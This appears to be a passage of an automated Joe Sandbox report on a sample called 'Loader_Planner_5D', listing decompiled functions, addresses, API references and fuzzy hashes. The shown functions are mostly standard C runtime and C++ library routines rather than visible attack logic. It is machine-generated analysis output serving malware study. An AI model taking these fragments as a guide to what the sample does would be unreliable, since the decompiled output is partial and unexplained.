				goto 0x106678e2;
				__rcx[8] = 3;
				if (_t96 == 0) goto 0x10667933;
				if (_t96 == 0) goto 0x1066792c;
				if (_t96 == 0) goto 0x10667925;
				if (_t96 == 0) goto 0x1066791e;
				if (r8d - 0xffffffffffffffe0 == 0x40) goto 0x10667910;
				E00007FF77FF71064A624(__rax);
				 *__rax = 0x16;
				E00007FF77FF71064A198();
				goto 0x10667935;
				sil = __rcx[4] == 0x80000000;
				goto 0x10667935;
				goto 0x10667935;
				goto 0x10667935;
				goto 0x10667935;
				__rcx[0x14] = __rcx[0x14] & 0x00000000;
				__rcx[0xc] = 0;
				__rcx[0x10] = 0x80;
				if (dil >= 0) goto 0x1066794b;
				 *__rcx =  *__rcx | 0x00000010;
				if ((0x00008000 & _t73) != 0) goto 0x10667973;
				if ((_t73 & 0x00074000) != 0) goto 0x10667970;
				_t22 =  &_a16; // 0x2aaaaaaaaaaaaa4b
				if (E00007FF77FF71064E724(__rax, _t22) != 0) goto 0x106679e8;
				if (_a16 == 0x8000) goto 0x10667973;
				 *__rcx =  *__rcx | 0x00000080;
				if ((0x00000100 & _t73) == 0) goto 0x10667992;
				_t55 =  *0x1068c2c8; // 0x0
				_t57 =  !_t55 & r14d;
				if (_t57 < 0) goto 0x10667992;
				__rcx[0x10] = 1;
				_t106 = dil & 0x00000040;
				if (_t106 == 0) goto 0x106679a6;
				asm("bts dword [ebx+0x14], 0x1a");
				asm("bts dword [ebx+0x4], 0x10");
				__rcx[0xc] = __rcx[0xc] | 0x00000004;
				asm("bt edi, 0xc");
				if (_t106 >= 0) goto 0x106679af;
				__rcx[0x10] = __rcx[0x10] | 0x00000100;
				asm("bt edi, 0xd");
				if (_t106 >= 0) goto 0x106679ba;
				asm("bts dword [ebx+0x14], 0x19");
				if ((dil & 0x00000020) == 0) goto 0x106679c7;
				asm("bts dword [ebx+0x14], 0x1b");
				goto 0x106679d2;
				if ((dil & 0x00000010) == 0) goto 0x106679d2;
				asm("bts dword [ebx+0x14], 0x1c");
				return _t57;
			}

0x7ff7106677f4
0x7ff7106677f9
0x7ff710667809
0x7ff71066780e
0x7ff710667814
0x7ff71066781e
0x7ff710667823
0x7ff710667828
0x7ff71066782a
0x7ff71066782f
0x7ff710667835
0x7ff71066783c
0x7ff710667843
0x7ff710667859
0x7ff710667867
0x7ff710667870
0x7ff710667878
0x7ff71066787a
0x7ff710667881
0x7ff710667888
0x7ff71066788f
0x7ff710667896
0x7ff71066789d
0x7ff7106678a4
0x7ff7106678a6
0x7ff7106678a8
0x7ff7106678aa
0x7ff7106678af
0x7ff7106678b5
0x7ff7106678bf
0x7ff7106678c6
0x7ff7106678cd
0x7ff7106678d4
0x7ff7106678db
0x7ff7106678e2
0x7ff7106678e8
0x7ff7106678ed
0x7ff7106678f2
0x7ff7106678f7
0x7ff7106678fc
0x7ff7106678fe
0x7ff710667903
0x7ff710667909
0x7ff71066790e
0x7ff710667918
0x7ff71066791c
0x7ff710667923
0x7ff71066792a
0x7ff710667931
0x7ff710667935
0x7ff710667939
0x7ff71066793c
0x7ff710667946
0x7ff710667948
0x7ff710667952
0x7ff71066795a
0x7ff71066795c
0x7ff710667968
0x7ff71066796e
0x7ff710667970
0x7ff71066797a
0x7ff71066797c
0x7ff710667984
0x7ff710667989
0x7ff71066798b
0x7ff710667992
0x7ff710667996
0x7ff710667998
0x7ff71066799d
0x7ff7106679a2
0x7ff7106679a6
0x7ff7106679aa
0x7ff7106679ac
0x7ff7106679af
0x7ff7106679b3
0x7ff7106679b5
0x7ff7106679be
0x7ff7106679c0
0x7ff7106679c5
0x7ff7106679cb
0x7ff7106679cd
0x7ff7106679e7

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF710667835
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7106678B5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF710667909
_get_daylight.LIBCMT ref: 00007FF710667961

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: b76fa63a7c5a063a7d5ac0abc197cc8adc34befc6c4c1f3e21a62bdb9cede24a
Instruction ID: 599bf55dc10d529a191e3fe7dd7eeacc865a51fc58919d2340a163d028e6747b
Opcode Fuzzy Hash: b76fa63a7c5a063a7d5ac0abc197cc8adc34befc6c4c1f3e21a62bdb9cede24a
Instruction Fuzzy Hash: E551B03AD0CE4282F7697A28840937DE6A2BB40734F994239C94D473D5EA2CFC48D761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710629340 Relevance: 6.1, APIs: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF710629340(long long __rbx, void* __rcx, long long __rbp, long long _a16, long long _a24) {
				signed int _v40;
				long long _v48;
				char _v52;
				char _v56;
				void* __rsi;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				void* _t31;
				void* _t35;
				void* _t39;
				void* _t43;
				signed long long _t52;
				signed long long _t53;
				intOrPtr _t54;
				long long _t55;
				long long _t61;
				intOrPtr _t67;
				signed long long _t76;
				signed long long _t77;
				signed int _t78;
				long long _t80;
				void* _t82;
				void* _t85;

				_a16 = __rbx;
				_a24 = __rbp;
				_t83 = _t82 - 0x40;
				_t52 =  *0x10689010; // 0xafe3859a1ce3
				_t53 = _t52 ^ _t82 - 0x00000040;
				_v40 = _t53;
				_t85 = __rcx;
				_t26 = E00007FF77FF7106617CC(_t25, 0,  &_v52);
				_t80 =  *0x1068c2e8; // 0x2462148f480
				_v48 = _t80;
				_t76 =  *0x1068be78; // 0x1
				if (_t76 != 0) goto 0x106293c6;
				E00007FF77FF7106617CC(_t26, 0,  &_v56);
				_t43 =  *0x1068be78 - _t76; // 0x1
				if (_t43 != 0) goto 0x106293b5;
				_t28 =  *0x1068be60; // 0x5
				 *0x1068be60 = _t28 + 1;
				 *0x1068be78 = _t53;
				_t31 = E00007FF77FF710661844(_t53,  &_v56);
				_t77 =  *0x1068be78; // 0x1
				_t67 =  *((intOrPtr*)(_t85 + 8));
				_t78 = _t77 * 8;
				if (_t77 -  *((intOrPtr*)(_t67 + 0x18)) >= 0) goto 0x106293e7;
				_t54 =  *((intOrPtr*)(_t67 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t54)) != 0) goto 0x10629446;
				goto 0x106293e9;
				if ( *((char*)(_t67 + 0x24)) == 0) goto 0x10629402;
				E00007FF77FF710661E98(_t31);
				if (_t77 -  *((intOrPtr*)(_t54 + 0x18)) >= 0) goto 0x10629407;
				_t55 =  *((intOrPtr*)(_t54 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t55)) != 0) goto 0x10629446;
				if (_t80 == 0) goto 0x10629411;
				goto 0x10629446;
				E00007FF77FF710621E40(_t55, _t80,  &_v48, _t85, _t78);
				if (_t55 == 0xffffffff) goto 0x10629473;
				_t61 = _v48;
				_v48 = _t61;
				E00007FF77FF710661E60(_t55, _t61);
				_t35 =  *((intOrPtr*)( *_t61 + 8))();
				 *0x1068c2e8 = _t61;
				return E00007FF77FF710641DF0(E00007FF77FF710661844(_t35,  &_v52), _t39, _v40 ^ _t83);
			}

0x7ff710629340
0x7ff710629345
0x7ff71062934e
0x7ff710629352
0x7ff710629359
0x7ff71062935c
0x7ff710629361
0x7ff71062936b
0x7ff710629371
0x7ff710629378
0x7ff71062937d
0x7ff710629387
0x7ff710629390
0x7ff710629395
0x7ff71062939c
0x7ff71062939e
0x7ff7106293a6
0x7ff7106293ae
0x7ff7106293ba
0x7ff7106293bf
0x7ff7106293c6
0x7ff7106293ca
0x7ff7106293d6
0x7ff7106293d8
0x7ff7106293e3
0x7ff7106293e5
0x7ff7106293ed
0x7ff7106293ef
0x7ff7106293f8
0x7ff7106293fa
0x7ff710629405
0x7ff71062940a
0x7ff71062940f
0x7ff710629419
0x7ff710629422
0x7ff710629424
0x7ff710629429
0x7ff710629431
0x7ff71062943c
0x7ff71062943f
0x7ff710629472

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71062936B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF710629390
std::_Facet_Register.LIBCPMT ref: 00007FF710629431
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710629473

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: 66065b6764998cf13e954d86c6f348be3656d69ea554d54c59d08cab634ab020
Instruction ID: a62c40eb0b601707452e04904cf1245476f9018051cde3a60b0103c68673f0c3
Opcode Fuzzy Hash: 66065b6764998cf13e954d86c6f348be3656d69ea554d54c59d08cab634ab020
Instruction Fuzzy Hash: 94315026A08F02C5EA10FF25E4411B9B3A2EB94BF4F881132DA4D073A6DE3CF449C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710629860 Relevance: 6.1, APIs: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF710629860(long long __rbx, void* __rcx, long long __rbp, long long _a16, long long _a24) {
				signed int _v40;
				long long _v48;
				char _v52;
				char _v56;
				void* __rsi;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				void* _t31;
				void* _t35;
				void* _t39;
				void* _t43;
				signed long long _t52;
				signed long long _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				long long _t61;
				intOrPtr _t67;
				signed long long _t76;
				signed long long _t77;
				signed int _t78;
				long long _t80;
				void* _t82;
				void* _t85;

				_a16 = __rbx;
				_a24 = __rbp;
				_t83 = _t82 - 0x40;
				_t52 =  *0x10689010; // 0xafe3859a1ce3
				_t53 = _t52 ^ _t82 - 0x00000040;
				_v40 = _t53;
				_t85 = __rcx;
				_t4 =  &_v52; // 0x2aaaaaaaaaaaaa8f
				_t26 = E00007FF77FF7106617CC(_t25, 0, _t4);
				_t80 =  *0x1068c2d8; // 0x24621489820
				_v48 = _t80;
				_t76 =  *0x1068c338; // 0x4
				if (_t76 != 0) goto 0x106298e6;
				_t6 =  &_v56; // 0x2aaaaaaaaaaaaa8b
				E00007FF77FF7106617CC(_t26, 0, _t6);
				_t43 =  *0x1068c338 - _t76; // 0x4
				if (_t43 != 0) goto 0x106298d5;
				_t28 =  *0x1068be60; // 0x5
				 *0x1068be60 = _t28 + 1;
				 *0x1068c338 = _t53;
				_t7 =  &_v56; // 0x2aaaaaaaaaaaaa8b
				_t31 = E00007FF77FF710661844(_t53, _t7);
				_t77 =  *0x1068c338; // 0x4
				_t67 =  *((intOrPtr*)(_t85 + 8));
				_t78 = _t77 * 8;
				if (_t77 -  *((intOrPtr*)(_t67 + 0x18)) >= 0) goto 0x10629907;
				_t54 =  *((intOrPtr*)(_t67 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t54)) != 0) goto 0x10629966;
				goto 0x10629909;
				if ( *((char*)(_t67 + 0x24)) == 0) goto 0x10629922;
				E00007FF77FF710661E98(_t31);
				if (_t77 -  *((intOrPtr*)(_t54 + 0x18)) >= 0) goto 0x10629927;
				_t55 =  *((intOrPtr*)(_t54 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t55)) != 0) goto 0x10629966;
				if (_t80 == 0) goto 0x10629931;
				goto 0x10629966;
				_t17 =  &_v48; // 0x2aaaaaaaaaaaaa93
				E00007FF77FF71062AB50(_t55, _t80, _t17, _t85, _t78);
				if (_t55 == 0xffffffff) goto 0x10629993;
				_t61 = _v48;
				_v48 = _t61;
				E00007FF77FF710661E60(_t55, _t61);
				_t35 =  *((intOrPtr*)( *_t61 + 8))();
				 *0x1068c2d8 = _t61;
				_t21 =  &_v52; // 0x2aaaaaaaaaaaaa8f
				return E00007FF77FF710641DF0(E00007FF77FF710661844(_t35, _t21), _t39, _v40 ^ _t83);
			}

0x7ff710629860
0x7ff710629865
0x7ff71062986e
0x7ff710629872
0x7ff710629879
0x7ff71062987c
0x7ff710629881
0x7ff710629886
0x7ff71062988b
0x7ff710629891
0x7ff710629898
0x7ff71062989d
0x7ff7106298a7
0x7ff7106298ab
0x7ff7106298b0
0x7ff7106298b5
0x7ff7106298bc
0x7ff7106298be
0x7ff7106298c6
0x7ff7106298ce
0x7ff7106298d5
0x7ff7106298da
0x7ff7106298df
0x7ff7106298e6
0x7ff7106298ea
0x7ff7106298f6
0x7ff7106298f8
0x7ff710629903
0x7ff710629905
0x7ff71062990d
0x7ff71062990f
0x7ff710629918
0x7ff71062991a
0x7ff710629925
0x7ff71062992a
0x7ff71062992f
0x7ff710629934
0x7ff710629939
0x7ff710629942
0x7ff710629944
0x7ff710629949
0x7ff710629951
0x7ff71062995c
0x7ff71062995f
0x7ff710629966
0x7ff710629992

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71062988B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7106298B0
std::_Facet_Register.LIBCPMT ref: 00007FF710629951
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF710629993

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: e58cb64a848463676a4d9ce0313202987982670140dae115a04fa191d0a1e493
Instruction ID: 7684e92075be5da8b1ce7f78331af47f809095062a82ef9e73caa1622fa0a7d0
Opcode Fuzzy Hash: e58cb64a848463676a4d9ce0313202987982670140dae115a04fa191d0a1e493
Instruction Fuzzy Hash: A8318226A08F06C5EA10BF25E4411B9B362EB84BF4F8C0136DA5D077A9DE3CF549C321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063CEE0 Relevance: 6.1, APIs: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00007FF77FF71063CEE0(long long __rbx, void* __rcx, long long __rbp, long long _a16, long long _a24) {
				signed int _v40;
				long long _v48;
				char _v52;
				char _v56;
				void* _t25;
				void* _t26;
				intOrPtr _t28;
				void* _t31;
				void* _t35;
				void* _t39;
				void* _t43;
				signed long long _t52;
				signed long long _t53;
				intOrPtr _t54;
				long long _t55;
				long long _t61;
				intOrPtr _t67;
				signed long long _t76;
				signed long long _t77;
				signed int _t78;
				long long _t80;
				void* _t82;
				void* _t85;

				_a16 = __rbx;
				_a24 = __rbp;
				_t83 = _t82 - 0x40;
				_t52 =  *0x10689010; // 0xafe3859a1ce3
				_t53 = _t52 ^ _t82 - 0x00000040;
				_v40 = _t53;
				_t85 = __rcx;
				_t26 = E00007FF77FF7106617CC(_t25, 0,  &_v52);
				_t80 =  *0x1068c310; // 0x2462148f280
				_v48 = _t80;
				_t76 =  *0x1068c330; // 0x3
				if (_t76 != 0) goto 0x1063cf66;
				E00007FF77FF7106617CC(_t26, 0,  &_v56);
				_t43 =  *0x1068c330 - _t76; // 0x3
				if (_t43 != 0) goto 0x1063cf55;
				_t28 =  *0x1068be60; // 0x5
				 *0x1068be60 = _t28 + 1;
				 *0x1068c330 = _t53;
				_t31 = E00007FF77FF710661844(_t53,  &_v56);
				_t77 =  *0x1068c330; // 0x3
				_t67 =  *((intOrPtr*)(_t85 + 8));
				_t78 = _t77 * 8;
				if (_t77 -  *((intOrPtr*)(_t67 + 0x18)) >= 0) goto 0x1063cf87;
				_t54 =  *((intOrPtr*)(_t67 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t54)) != 0) goto 0x1063cfe6;
				goto 0x1063cf89;
				if ( *((char*)(_t67 + 0x24)) == 0) goto 0x1063cfa2;
				E00007FF77FF710661E98(_t31);
				if (_t77 -  *((intOrPtr*)(_t54 + 0x18)) >= 0) goto 0x1063cfa7;
				_t55 =  *((intOrPtr*)(_t54 + 0x10));
				if ( *((intOrPtr*)(_t78 + _t55)) != 0) goto 0x1063cfe6;
				if (_t80 == 0) goto 0x1063cfb1;
				goto 0x1063cfe6;
				E00007FF77FF71063D1F0(_t55,  &_v48, _t85);
				if (_t55 == 0xffffffff) goto 0x1063d013;
				_t61 = _v48;
				_v48 = _t61;
				E00007FF77FF710661E60(_t55, _t61);
				_t35 =  *((intOrPtr*)( *_t61 + 8))();
				 *0x1068c310 = _t61;
				return E00007FF77FF710641DF0(E00007FF77FF710661844(_t35,  &_v52), _t39, _v40 ^ _t83);
			}

0x7ff71063cee0
0x7ff71063cee5
0x7ff71063ceee
0x7ff71063cef2
0x7ff71063cef9
0x7ff71063cefc
0x7ff71063cf01
0x7ff71063cf0b
0x7ff71063cf11
0x7ff71063cf18
0x7ff71063cf1d
0x7ff71063cf27
0x7ff71063cf30
0x7ff71063cf35
0x7ff71063cf3c
0x7ff71063cf3e
0x7ff71063cf46
0x7ff71063cf4e
0x7ff71063cf5a
0x7ff71063cf5f
0x7ff71063cf66
0x7ff71063cf6a
0x7ff71063cf76
0x7ff71063cf78
0x7ff71063cf83
0x7ff71063cf85
0x7ff71063cf8d
0x7ff71063cf8f
0x7ff71063cf98
0x7ff71063cf9a
0x7ff71063cfa5
0x7ff71063cfaa
0x7ff71063cfaf
0x7ff71063cfb9
0x7ff71063cfc2
0x7ff71063cfc4
0x7ff71063cfc9
0x7ff71063cfd1
0x7ff71063cfdc
0x7ff71063cfdf
0x7ff71063d012

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71063CF0B
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF71063CF30
std::_Facet_Register.LIBCPMT ref: 00007FF71063CFD1
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71063D013

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: std::_$LockitLockit::_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 1168246061-0
Opcode ID: c444d0026d58bc5f6a96c718db880723799e3fecf9bb701ddc2781d766087bba
Instruction ID: 2e19d91a836280361f972bd7ca62165010b97a696c764cf95bab8c1bcfb9c25e
Opcode Fuzzy Hash: c444d0026d58bc5f6a96c718db880723799e3fecf9bb701ddc2781d766087bba
Instruction Fuzzy Hash: C0315325A08F0685EA10BF26E441179A363FF54BB4F884136EA5D4B3A9DE3CF409C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710661180 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF7106611C9
GetLastError.KERNEL32 ref: 00007FF7106611D7
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF7106294E9), ref: 00007FF71066120C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF7106294E9), ref: 00007FF71066121A

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 3db917308f800b66188ec0832ece87600261859d681bdae6d93298834e68efe6
Instruction ID: f22e4248ff3cef2183d29450fea4c10802c323e4899587b89ac5555fd71dcd28
Opcode Fuzzy Hash: 3db917308f800b66188ec0832ece87600261859d681bdae6d93298834e68efe6
Instruction Fuzzy Hash: 01215B76A28F85C7E3109F12E44432EB6B5F789BA0F540139DB8897B58CF3CE5558B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7106463D8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 74%

			E00007FF77FF7106463D8(void* __ebp, void* __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, long long __rsi, void* __r8, void* __r9) {
				void* __rdi;
				void* _t73;
				intOrPtr _t78;
				unsigned int _t103;
				void* _t131;
				intOrPtr _t135;
				intOrPtr* _t139;
				signed char* _t143;
				void* _t144;
				void* _t169;
				signed char* _t170;
				long long _t174;
				void* _t175;
				void* _t177;
				void* _t178;
				void* _t193;
				void* _t194;
				void* _t196;

				_t187 = __r9;
				_t131 = __rax;
				 *((long long*)(_t177 + 8)) = __rbx;
				 *((long long*)(_t177 + 0x10)) = _t174;
				 *((long long*)(_t177 + 0x18)) = __rsi;
				_t178 = _t177 - 0x80;
				_t139 = __rcx;
				_t175 = __r9;
				_t194 = __rdx;
				E00007FF77FF710647824(_t73, __r8);
				E00007FF77FF710644570(_t131);
				_t170 =  *((intOrPtr*)(_t178 + 0xc0));
				r8d = 0x80000029;
				r9d = 0x80000026;
				if ( *((intOrPtr*)(_t131 + 0x40)) != 0) goto 0x10646452;
				if ( *__rcx == 0xe06d7363) goto 0x10646452;
				if ( *__rcx != r8d) goto 0x10646444;
				if ( *((intOrPtr*)(__rcx + 0x18)) != 0xf) goto 0x10646449;
				if ( *((long long*)(__rcx + 0x60)) == 0x19930520) goto 0x10646452;
				if ( *__rcx == r9d) goto 0x10646452;
				if (( *_t170 & 0x00000020) != 0) goto 0x10646644;
				if (( *(__rcx + 4) & 0x00000066) == 0) goto 0x10646576;
				if (_t170[8] == 0) goto 0x10646644;
				if ( *(_t170[8] +  *((intOrPtr*)(__r9 + 8)) -  *((char*)(__r8 + 0x7ff71066c650)) - 4) >>  *(__r8 + 0x7ff71066c660) == 0) goto 0x10646644;
				if ( *((intOrPtr*)(_t178 + 0xc8)) != 0) goto 0x10646644;
				if (( *(__rcx + 4) & 0x00000020) == 0) goto 0x10646563;
				if ( *__rcx != r9d) goto 0x1064651a;
				_t143 = _t170;
				_t78 = E00007FF77FF71064481C(__ebp, __rcx, _t143, __r9, _t170, __rsi, __r9,  *((intOrPtr*)(__r9 + 0x20)), _t196, _t193);
				r9d = _t78;
				if (_t78 - 0xffffffff < 0) goto 0x10646666;
				if (_t170[8] == 0) goto 0x106464fe;
				_t103 =  *(_t170[8] +  *((intOrPtr*)(_t175 + 8)) - _t143[0x7ff71066c650] - 4) >> _t143[0x7ff71066c660];
				if (r9d - _t103 >= 0) goto 0x10646666;
				_t144 = _t194;
				E00007FF77FF710647094(_t143[0x7ff71066c660], _t144, _t175, _t170, _t187);
				goto 0x10646644;
				if ( *__rcx != r8d) goto 0x10646563;
				r9d =  *((intOrPtr*)(__rcx + 0x38));
				if (r9d - 0xffffffff < 0) goto 0x10646666;
				if (r9d -  *(_t170[8] +  *((intOrPtr*)(_t175 + 8)) -  *((char*)(_t144 + 0x7ff71066c650)) - 4) >>  *(_t144 + 0x7ff71066c660) >= 0) goto 0x10646666;
				goto 0x1064650a;
				E00007FF77FF7106431E8( *((char*)(_t144 + 0x7ff71066c650)), _t194, _t170);
				goto 0x10646644;
				E00007FF77FF71064674C(_t178 + 0x50, _t170,  *((intOrPtr*)(_t175 + 8)));
				if ( *((intOrPtr*)(_t178 + 0x50)) != _t103) goto 0x10646596;
				if (( *_t170 & 0x00000040) == 0) goto 0x10646644;
				if ( *_t139 != 0xe06d7363) goto 0x1064660b;
				if ( *((intOrPtr*)(_t139 + 0x18)) - 3 < 0) goto 0x1064660b;
				if ( *((intOrPtr*)(_t139 + 0x20)) - 0x19930522 <= 0) goto 0x1064660b;
				_t135 =  *((intOrPtr*)(_t139 + 0x30));
				if ( *((intOrPtr*)(_t135 + 8)) == _t103) goto 0x1064660b;
				E00007FF77FF710643A44(_t135);
				if (_t135 +  *((intOrPtr*)( *((intOrPtr*)(_t139 + 0x30)) + 8)) == 0) goto 0x1064660b;
				 *(_t178 + 0x38) =  *(_t178 + 0xd8) & 0x000000ff;
				 *((long long*)(_t178 + 0x30)) =  *((intOrPtr*)(_t178 + 0xd0));
				 *((intOrPtr*)(_t178 + 0x28)) =  *((intOrPtr*)(_t178 + 0xc8));
				 *(_t178 + 0x20) = _t170;
				 *0x1066c3d0(_t169);
				goto 0x10646649;
				 *(_t178 + 0x38) =  *((intOrPtr*)(_t178 + 0xd0));
				 *((intOrPtr*)(_t178 + 0x30)) =  *((intOrPtr*)(_t178 + 0xc8));
				 *((char*)(_t178 + 0x28)) =  *(_t178 + 0xd8);
				 *(_t178 + 0x20) = _t170;
				E00007FF77FF710645514( *(_t178 + 0xd8) & 0x000000ff, _t139, _t194, 0x7ff710620000, _t175);
				return 1;
			}

0x7ff7106463d8
0x7ff7106463d8
0x7ff7106463d8
0x7ff7106463dd
0x7ff7106463e2
0x7ff7106463ec
0x7ff7106463f3
0x7ff7106463f6
0x7ff7106463ff
0x7ff710646402
0x7ff710646407
0x7ff71064640c
0x7ff710646416
0x7ff71064641c
0x7ff710646425
0x7ff71064642d
0x7ff710646432
0x7ff710646438
0x7ff710646442
0x7ff710646447
0x7ff71064644c
0x7ff710646456
0x7ff71064645f
0x7ff710646495
0x7ff7106464a2
0x7ff7106464ac
0x7ff7106464b5
0x7ff7106464be
0x7ff7106464c1
0x7ff7106464c6
0x7ff7106464cc
0x7ff7106464d5
0x7ff7106464fc
0x7ff710646501
0x7ff710646507
0x7ff710646510
0x7ff710646515
0x7ff71064651d
0x7ff71064651f
0x7ff710646527
0x7ff710646557
0x7ff710646561
0x7ff71064656c
0x7ff710646571
0x7ff710646582
0x7ff71064658b
0x7ff710646590
0x7ff71064659c
0x7ff7106465a2
0x7ff7106465ab
0x7ff7106465ad
0x7ff7106465b4
0x7ff7106465b6
0x7ff7106465c9
0x7ff7106465e0
0x7ff7106465ef
0x7ff7106465f7
0x7ff7106465fe
0x7ff710646603
0x7ff710646609
0x7ff710646616
0x7ff710646628
0x7ff710646636
0x7ff71064663a
0x7ff71064663f
0x7ff710646665

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF710646402

Strings

csm, xrefs: 00007FF710646596
csm, xrefs: 00007FF710646427

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 6c819e2f3de571c30f5fbe8e4c2f53da8a2ed094fbdd4d69af7d7b2210c2340f
Instruction ID: dc714e2340e0c1cae233bac7877cfdbe2e72d7b8918f0051a70d0fcd4feea859
Opcode Fuzzy Hash: 6c819e2f3de571c30f5fbe8e4c2f53da8a2ed094fbdd4d69af7d7b2210c2340f
Instruction Fuzzy Hash: A771E772A08A81C6DB609F15D050779BBA2FB08FA8F559131EE4C87B85CF3CE859C752

Uniqueness

Uniqueness Score: -1.00%

